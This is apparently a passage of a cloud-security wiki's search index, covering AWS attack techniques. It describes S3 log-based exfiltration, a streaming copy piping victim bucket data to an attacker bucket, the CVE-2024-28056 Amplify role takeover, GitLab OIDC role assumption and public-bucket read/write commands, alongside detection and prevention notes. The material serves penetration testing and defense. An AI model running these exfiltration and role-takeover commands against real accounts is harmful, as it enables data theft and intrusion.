<code>Decrypt</code>/<code>Encrypt</code> events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.</p> </li> <li> <p>Unknown <code>PutBucketVersioning</code> events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.</p> </li> </ul>"},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"<ul> <li> <p> Original Research</p> <p> <p>Cloud services as exfiltration mechanisms by Costas Kourmpoglou</p> </p> </li> </ul> <p>If we have control over an IAM identity that allows <code>s3:GetObject</code>, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.</p> <p>With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send <code>GetObject</code> requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.  </p>"},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"<p>We'll create an S3 bucket, <code>AttackerBucket</code> in our account with server access logging. Let's name the logging bucket <code>AttackerBucketLogs</code>. With our data in hand <code>ExampleDataToExfiltrate</code>, we will send a <code>GetObject</code> request to our bucket, for example:</p> <p><code>aws s3api get-object --bucket AttackerBucket  --key ExampleDataToExfiltrate</code></p> <p>The request will be denied. However the attempt along with the other details, including our key <code>ExampleDatatoExfiltrate</code> - which is the data we're exfiltrating -  will arrive to our logging bucket <code>AttackerBucketLogs</code>.</p> <p>We'll receive the data in the default logging format:</p> <pre><code>[..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n</code></pre> <p>We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.</p>"},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"<p>There are two challenges with this method:</p> <ol> <li> <p>If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.</p> </li> <li> <p>The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.  </p> </li> </ol> <p>For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.</p>"},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"<p>Shout Out to Janardhan Prabhakara for showing me this all those years ago!</p> <p>Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.</p> <p>Why would anyone use this?</p> <p>In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands. </p> <p>If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected.  However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.</p> <p>When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail.  The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.</p> <p>When using the aws-cli utilize the <code>--profile</code> to specify the IAM context profile from the .aws/credentials file.</p> <p>Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials <pre><code>[attacker]\naws_access_key_id = &lt;attacker_key_id&gt;\naws_secret_access_key = &lt;attacker_secret_key&gt;\n</code></pre></p> <p>Step 2: Create a profile for the VICTIM credentials.  These are the keys attained with access to the victim's AWS enviornment. </p> <p>Note</p> <p>This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.</p> <pre><code>[victim]\naws_access_key_id = &lt;victim_key_id&gt;\naws_secret_access_key = &lt;victim_secret_key&gt;\n</code></pre> <p>Step 3: example: S3 Stream Copy command for a single file from cli <pre><code>aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n</code></pre></p> <p>Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile <pre><code>aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n</code></pre></p> <p>Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.</p> <p>This is becoming more common with the popularity of Data Perimeter guardrails</p> <p>Note</p> <p>If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"<p>Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom. </p> <p>For example, the following is a bucket policy (a type of resource-based policy) that would permit the <code>tester</code> user to list the contents of the <code>super-public-fun-bucket</code> S3 bucket.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n</code></pre> <p>Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information. </p> <p>For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"<p>In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.</p> <p>For a real world example of this, a telecommunications company had the following bucket policy set.</p> <pre><code>{\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n</code></pre> <p>The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the <code>Action</code> statement, the policy permitted both <code>s3:GetObject</code> and <code>s3:PutObject</code>. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.</p> <p>While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).</p> <p>Note</p> <p>Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it. </p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"<p>It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are. </p> <p>Note</p> <p>Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"<p>You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks. </p> <p>Example invocation: <pre><code>python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n</code></pre></p> <p>Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"<p>It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.</p> <p>Note</p> <p>An <code>implicit</code> deny is when there is no specific <code>Deny</code> statement, but there is also no <code>Allow</code> statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.</p> <p>An <code>explicit</code> deny is when there is a specific <code>Deny</code> statement in a policy. </p> <p>More information can be found in the documentation for the difference between explicit and implicit denies.</p> <p>This means that if there is an <code>Allow</code> in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:</p> <p><pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre> This policy would permit the <code>tester</code> IAM user to perform <code>sns:GetTopicAttributes</code> and <code>sns:SetTopicAttributes</code> without the need for an <code>Allow</code> in the identity policies attached to the user.</p> <p>Note</p> <p>This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"<p>Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an <code>Allow</code>, can be a very serious misconfiguration.</p> <p>Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"<p>The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an <code>Allow</code> this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.</p> <p>For example, the following SNS access policy would permit any entity to perform <code>sns:GetTopicAttributes</code> except for the <code>jim</code> user.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"<p>The NotAction element is used to specify all actions except the specified one. When paired with an <code>Allow</code> this means that all actions except the ones specified will be permitted. </p> <p>For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except <code>sns:Publish</code>.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"<p>The NotResource element is used to specify all resources except the specified one. When paired with an <code>Allow</code> this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.</p> <p>For example, the following SNS access policy for an SNS topic named <code>first_topic</code> would permit the user <code>jim</code> the ability to perform the <code>sns:GetTopicAttributes</code> action because the statement specifies a <code>NotResource</code> element of <code>second_topic</code>.</p> <pre><code>{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/","title":"CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios","text":"<ul> <li> <p> Original Research</p> <p> <p>Amplified exposure: How AWS flaws made Amplify IAM roles vulnerable to takeover by Nick Frichette</p> <p></p> </p> </li> <li> <p> Additional Resources</p> <p>AWS Security Bulletin: CVE-2024-28056</p> </li> </ul>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#background","title":"Background","text":"<p>In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.</p> <p>In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:</p> <ul> <li>Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.</li> <li>Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.</li> <li>Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.</li> </ul> <p>This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.</p> <p>Warning</p> <p>To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.</p> <p>Note</p> <p>This is not realistically something that can be \"fixed\". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#unauthenticated-example","title":"Unauthenticated Example","text":"<p>In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\"\n        }\n    ]\n}\n</code></pre> <p>Note</p> <p>There is another variant of this misconfiguration where the trust policy includes a condition for <code>cognito-identity.amazonaws.com:amr</code> that is set to <code>unauthenticated</code>.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit","title":"Steps to Exploit","text":"<p>In order to assume a role that has this vulnerable trust policy, follow these steps:</p> <ol> <li>Using the AWS CLI, perform the following command: <code>aws cognito-identity get-id --identity-pool-id &lt;victim identity pool id&gt;</code><ul> <li>This can typically be found in the client side JavaScript of the web application using this identity pool.</li> </ul> </li> <li>Using the <code>IdentityId</code> from step one, perform the following command: <code>aws cognito-identity get-open-id-token --identity-id &lt;identity id from step 1&gt;</code><ul> <li>This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.</li> </ul> </li> <li>With this JWT, perform the following command: <code>aws sts assume-role-with-web-identity --role-arn &lt;vulnerable role ARN&gt; --role-session-name &lt;session name of your choosing&gt; --web-identity-token &lt;JWT from step 2&gt;</code><ul> <li>The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.</li> </ul> </li> </ol> <p>By following these steps you should successfully generate IAM credentials for the vulnerable role:</p> <pre><code>{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIA123ABC456DEF789G\",\n        \"SecretAccessKey\": \"123ABC456DEF789G123ABC456DEF789GHI012JKL\",\n        \"SessionToken\": \"...snip...\",\n        \"Expiration\": \"2024-07-31T20:02:33+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"us-east-1:00000000-1111-2222-3333-444444444444\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROA123ABC456DEF789G:hijacked_role\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role\"\n    },\n    \"Provider\": \"cognito-identity.amazonaws.com\",\n    \"Audience\": \"us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc\"\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#authenticated-example","title":"Authenticated Example","text":"<p>In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Federated\": \"cognito-identity.amazonaws.com\"\n            },\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Condition\": {\n                \"ForAnyValue:StringLike\": {\n                    \"cognito-identity.amazonaws.com:amr\": \"authenticated\"\n                }\n            }\n        }\n    ]\n}\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/#steps-to-exploit_1","title":"Steps to Exploit","text":"<p>In order to assume a role that has this vulnerable trust policy, follow these steps:</p> <ol> <li>First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.</li> <li>Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using <code>USER_PASSWORD_AUTH</code>.<ul> <li>Run the following command: <code>aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id &lt;client id of the victim user pool&gt; --auth-parameters USERNAME=&lt;username&gt;,PASSWORD=&lt;password&gt;</code></li> <li>This will return an <code>IdToken</code> that will be used in the next step.</li> <li>Note: The <code>AccessToken</code> is NOT the same as the <code>IdToken</code>. </li> </ul> </li> <li>Run the following command: <code>aws cognito-identity get-id --identity-pool-id &lt;victim identity pool id&gt; --logins '{\"cognito-idp.&lt;region&gt;.amazonaws.com/&lt;victim user pool id&gt;\":\"&lt;IdToken from step 2&gt;\"}'</code><ul> <li>This will return an <code>IdentityId</code> that will be used in the next step.</li> </ul> </li> <li>Run the following command: <code>aws cognito-identity get-open-id-token --identity-id &lt;IdToken from step 3&gt; --logins '{\"cognito-idp.us-east-1.amazonaws.com/&lt;victim user pool id&gt;\":\"&lt;IdToken from step 2&gt;\"}'</code><ul> <li>Note: You MUST include the <code>logins</code> parameter, it is not optional.</li> <li>This will return a JWT we will use in the next step.</li> </ul> </li> <li>With this JWT, perform the following command: <code>aws sts assume-role-with-web-identity --role-arn &lt;vulnerable role ARN&gt; --role-session-name &lt;session name of your choosing&gt; --web-identity-token &lt;JWT from step 4&gt;</code></li> </ol> <p>By following these steps you should successfully generate IAM credentials for the vulnerable role.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/","title":"Exploiting Misconfigured GitLab OIDC AWS IAM Roles","text":"<p>OpenID Connect (OIDC) is a common technology used to authorize services outside of AWS to assume IAM roles. As has been shown many times in the past (examples: one, two, and three), these roles can be misconfigured, permitting anyone in the world the ability to assume a vulnerable role.</p> <p>In this article, we will explain a potential misconfiguration of AWS IAM roles when using GitLab OIDC, walk through how to exploit them step-by-step, and explain how the AWS Console causes this misconfiguration by default.</p> <p>Warning</p> <p>In this article, we are only covering misconfigured roles with a trust relationship to the gitlab.com SaaS offering. In theory this attack could be performed on a self-hosted version of GitLab as well, however we have not tried it. If you have, feel free to open a pull request and update this article as needed.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#iam-role-misconfiguration-using-gitlab-oidc","title":"IAM role misconfiguration using GitLab OIDC","text":"<p>According to the GitLab documentation, AWS IAM roles that are using OIDC to authenticate should have a trust policy that looks like the following:</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n      },\n      \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n      \"Condition\": {\n        \"StringEquals\": {\n          \"gitlab.com:sub\": \"project_path:mygroup/myproject:ref_type:branch:ref:main\"\n        }\n      }\n    }\n  ]\n}\n</code></pre> <p>There are several important elements of this trust policy including:</p> <ul> <li><code>Principal.Federated</code>: This is the identity provider that authorizes the role assumption. It is important to note that while each AWS account will have its own identity provider, this is simply a stand-in for the global <code>gitlab.com</code> provider. </li> <li><code>Action</code>: This is the specific type of assume role being used. In this case it is sts:AssumeRoleWithWebIdentity.</li> <li><code>gitlab.com:sub</code>: This is an optional condition which restricts the group, project, or branch which is permitted to assume the role.</li> </ul> <p>The word \"optional\" from the previous sentence is why this attack is possible. There is no requirement to include a condition which restricts which specific group or project is permitted to assume a role. As a result of this anyone with access to gitlab.com could assume a role with this misconfiguration.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-to-exploit-this-misconfiguration","title":"How to exploit this misconfiguration","text":"<p>In this situation we will assume a role that has the following trust policy:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n            \"Principal\": {\n                \"Federated\": \"arn:aws:iam::AWS_ACCOUNT:oidc-provider/gitlab.com\"\n            },\n            \"Condition\": {\n                \"StringEquals\": {\n                    \"gitlab.com:aud\": [\n                        \"https://gitlab.com\"\n                    ]\n                }\n            }\n        }\n    ]\n}\n</code></pre> <p>Note</p> <p>In this example there is no condition on the <code>sub</code> field, restricting who is permitted to assume the role. This is the default trust policy that is set when creating a role through the AWS Console. More on this later. </p> <p>To exploit this misconfigured role, we must generate a JWT that can be used to authorize the sts:AssumeRoleWithWebIdentity invocation. To do this, create an account on gitlab.com or use an existing one.</p> <p>Next, create a project, and in this newly created project, create a file called <code>.gitlab-ci.yml</code>. This is the configuration file for GitLab CI. Add the following content to the <code>.gitlab-ci.yml</code> file:</p> <pre><code>assume role:\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  script:\n    - echo ${GITLAB_OIDC_TOKEN} | base64 -w 0\n</code></pre> <p>Warning</p> <p>The <code>base64 -w 0</code> is required because GitLab will mask the output if you simply echo the <code>GITLAB_OIDC_TOKEN</code>. </p> <p>After adding this content to the <code>.gitlab-ci.yml</code> file, navigate to \"Build &gt; Jobs\" on the left side, and click on the most recent CI job. Here you should see the OIDC token that we base64 encoded.</p> <p></p> <p>From here, decode the base64 encoded blob (<code>base64 -d</code>) to get the original <code>GITLAB_OIDC_TOKEN</code>. This is the JWT you will use in the following sts:AssumeRoleWithWebIdentity call.</p> <p>Note</p> <p>You can optionally decode this value to see that the issuer is <code>https://gitlab.com</code>. This is what is being validated in the sts:AssumeRoleWithWebIdentity and because there is no condition on the <code>sub</code> field, we are able to assume the misconfigured role.</p> <pre><code>nick.frichette@host ~ % aws sts assume-role-with-web-identity \\\n--role-arn &lt;ARN of misconfigured role&gt;\n--role-session-name &lt;session name of your choosing&gt;\n--web-identity-token  &lt;JWT from previous step&gt;\n{\n    \"Credentials\": {\n        \"AccessKeyId\": \"ASIAEXAMPLE123EXAMPL\",\n        \"SecretAccessKey\": \"EXAMPLE123EXAMPLE123EXAMPLE123EXAMPLE123\"\n        \"SessionToken\": \"[..snip..]\",\n        \"Expiration\": \"2024-09-01T23:20:01+00:00\"\n    },\n    \"SubjectFromWebIdentityToken\": \"project_path:secres/runner-test:ref_type:branch:ref:main\",\n    \"AssumedRoleUser\": {\n        \"AssumedRoleId\": \"AROAEXAMPLE123EXAMPL:blah\",\n        \"Arn\": \"arn:aws:sts::111111111111:assumed-role/vuln-gitlab-runner-role/blah\"\n    },\n    \"Provider\": \"arn:aws:iam::111111111111:oidc-provider/gitlab.com\",\n    \"Audience\": \"https://gitlab.com\"\n}\n</code></pre> <p>You have successfully used a JWT generated from gitlab.com to assume a misconfigured IAM role!</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/#how-the-aws-console-causes-this-misconfiguration-by-default","title":"How the AWS console causes this misconfiguration by default","text":"<p>If you've been following along, you may wonder, \"Why would anyone make this misconfiguration? The GitLab documentation provides an example that is secure\". Misconfigurations occur for a wide variety of reasons and in a wide variety of scenarios, however this one may have a more clear cut reason. </p> <p>When creating IAM roles in the AWS console, developers can choose a <code>trusted entity</code> for <code>Web identity</code>. This will pre-populate the trust policy of the IAM role and generally makes things easier. However, when a developer chooses <code>Web identity</code> and selects <code>gitlab.com</code> as the identity provider, there is no requirement for a condition on the <code>sub</code> field. Using the AWS console to create the IAM role will generate a vulnerable role by defualt.</p> <p></p> <p></p> <p>Compare this behavior to GitHub Actions or Terraform Cloud. In both of these situations, AWS made changes to the AWS Console to require additional fields to mitigate this type of attack.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/","title":"Exploiting Public AWS Resources Programmatically - The Playbook","text":"<ul> <li> <p> Tools mentioned in this article</p> <p>CloudShovel: A tool for scanning public or private AMIs for sensitive files and secrets</p> <p>coldsnap: A command line interface for Amazon EBS snapshots</p> </li> </ul>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#exploiting-public-aws-resources-cli-attack-playbook","title":"Exploiting Public AWS Resources - CLI Attack Playbook","text":"<p>The playbook shows how to exploit AWS resources that can be misconfigured to be publicly accessible. Think of it as a glossary of quick exploitation techniques that can be performed programmatically. </p> <p>All attacks are meant to be executed from an external environment where the attacker is ideally an administrator. </p> <p>The document is split in two categories: 1. Services and resources that can be found from a black-box perspective with little to reasonable effort 2. Services and resources that require information that can't be obtained through enumeration or brute-force</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#1-can-be-found-from-black-box-perspective","title":"1. Can be found from black-box perspective","text":"<p>These services might be found from Awseye, Google Dorking, enumeration, searchable via AWS account ID and other sane methods.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#s3-buckets","title":"S3 Buckets","text":""},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#public-list-read-and-write","title":"Public List, Read and Write","text":"<p>Misconfiguration:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadWrite\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": [\n                \"s3:ListBucket\",\n                \"s3:GetObject\",\n                \"s3:PutObject\"\n            ],\n            \"Resource\": [\n                \"arn:aws:s3:::example-bucket\",\n                \"arn:aws:s3:::example-bucket/*\"\n            ]\n        }\n    ]\n}\n</code></pre> <pre><code>bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# List bucket contents via HTTP\ncurl https://$bucket_name.s3.$region.amazonaws.com/\n\n# List bucket contents via CLI unauthenticated\n# --no-sign-request will perform the API call unauthenticated\naws --no-sign-request s3 ls s3://$bucket_name\n\n# List all objects including in subfolders unauthenticated\naws --no-sign-request s3api list-objects-v2 --bucket $bucket_name\n\nfile_name=\"target-file\"\n\n# Download file from bucket unauthenticated\naws --no-sign-request s3 cp s3://$bucket/$file_name .\n\n# Upload file unauthenticated\n# Files with same name are overwritten\necho \"hackingthe.cloud\" &gt; $file_name.new\naws --no-sign-request s3 cp $file_name.new s3://$bucket/\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#authenticated-list-and-write","title":"Authenticated List and Write","text":"<p>Misconfiguration: - ACL misconfigured at object level so that only authenticated identities can access the file</p> <pre><code>bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# This will not work anymore\ncurl 